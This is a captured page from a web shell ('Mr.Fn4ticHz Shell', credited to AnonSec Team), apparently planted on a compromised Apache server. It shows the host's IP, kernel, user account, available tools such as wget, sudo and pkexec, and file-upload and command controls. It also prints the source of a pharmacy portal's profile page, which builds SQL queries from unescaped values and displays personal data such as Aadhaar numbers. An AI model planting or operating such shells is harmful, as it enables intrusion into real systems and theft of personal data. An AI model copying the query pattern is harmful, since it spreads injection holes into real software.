Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.216.88.54
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/www/login.easenup.in/Pharmacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/www/login.easenup.in/Pharmacy/BasicProfile.php
<?php
session_start();
require_once('../../DBManager.php');
require_once('../../LoginManager.php');
include 'menu.php';
include 'header.php';
?>

<?php 
$narayan=LoginManager::currentUser();
$harilal=LoginManager::getUserTypeByuname("$narayan");
  	$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		if($re = mysqli_fetch_array($qsql)){
		    
		  
		  
		  if($re['usertype']=='pharma'){
		      
		      $HR ="SELECT * FROM pharama WHERE pharamaid='$re[userno]'";
		$qHR = mysqli_query($con,$HR);
		while($rHR = mysqli_fetch_array($qHR))
		{
		    $countries=$con->query("SELECT * FROM `countries` WHERE country_id='$rHR[Country]'");
    $RowCountry=$countries->fetch_assoc();
        
          $States=$con->query("SELECT * FROM `states` WHERE state_id='$rHR[State]'");
    $RowStates=$States->fetch_assoc();
        
          $city=$con->query("SELECT * FROM `cities` WHERE city_id='$rHR[Distict]'");
    $RowCity=$city->fetch_assoc();
		    echo "

		    <div class='content-wrapper'>
    <!-- Content Header (Page header) -->
    <section class='content-header'>
    <div class='center'>
    <table  width='100%'>
 <fieldset><legend>Basic Profile</legend>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Employee Id: </td>
<td width='50%'>$rHR[pharamaid]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Admin Id :  </td>
<td width='50%'>$rHR[entered_by]</td>
</tr>
<tr>
<td width='50%'> &nbsp;  &nbsp; &nbsp; &nbsp; Contact Number:  </td>
<td width='50%'>$rHR[numbers]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Name: </td>
<td width='50%'>$rHR[Name]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Father's Name: </td>
<td width='50%'>$rHR[FathersName]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Gender: </td>
<td width='50%'>$rHR[Gender]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Email Id : </td>
<td width='50%'>$re[uname]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; DOB : </td>
<td width='50%'>$rHR[DOB]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Blood Group :  </td>
<td width='50%'>$rHR[BloodGroup] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Nationality :  </td>
<td width='50%'>$rHR[Nationality] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Marital Status : </td>
<td width='50%'>$rHR[MaritalStatus]  </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Religion : </td>
<td width='50%'>$rHR[Religion] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Aadhaar Number : </td>
<td width='50%'>$rHR[AadhaarNumber] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Country : </td>
<td width='50%'>$RowCountry[country_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; State : </td>
<td width='50%'>$RowStates[state_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Distict  : </td>
<td width='50%'>$RowCity[city_name] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Pin Code : </td>
<td width='50%'>$rHR[PinCode] </td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Address :</td>
<td width='50%'>$rHR[Address]  </td>
</tr>

</table>
</fieldset>

</div>
 ";
	  echo "</td></tr>";	}
		      
		  } 
		
}
		?>
<br><br><br>


 
 
  
       <html>
           <head>
               <style>
                     
       .center {
   border: 1px solid grey;
   text-align:;
}
table {
  border-collapse: separate;
  border-spacing: 0 15px;
}

th {
  background-color: #4287f5;
  color: white;
}

th,
td {
  width: 150px;
   padding: 5px;
}

h2 {
  color: #4287f5;
}
</style>
               
           </head>
    <body>
         <?php ?>
  
		</body>
		</html>

Anon7 - 2022
AnonSec Team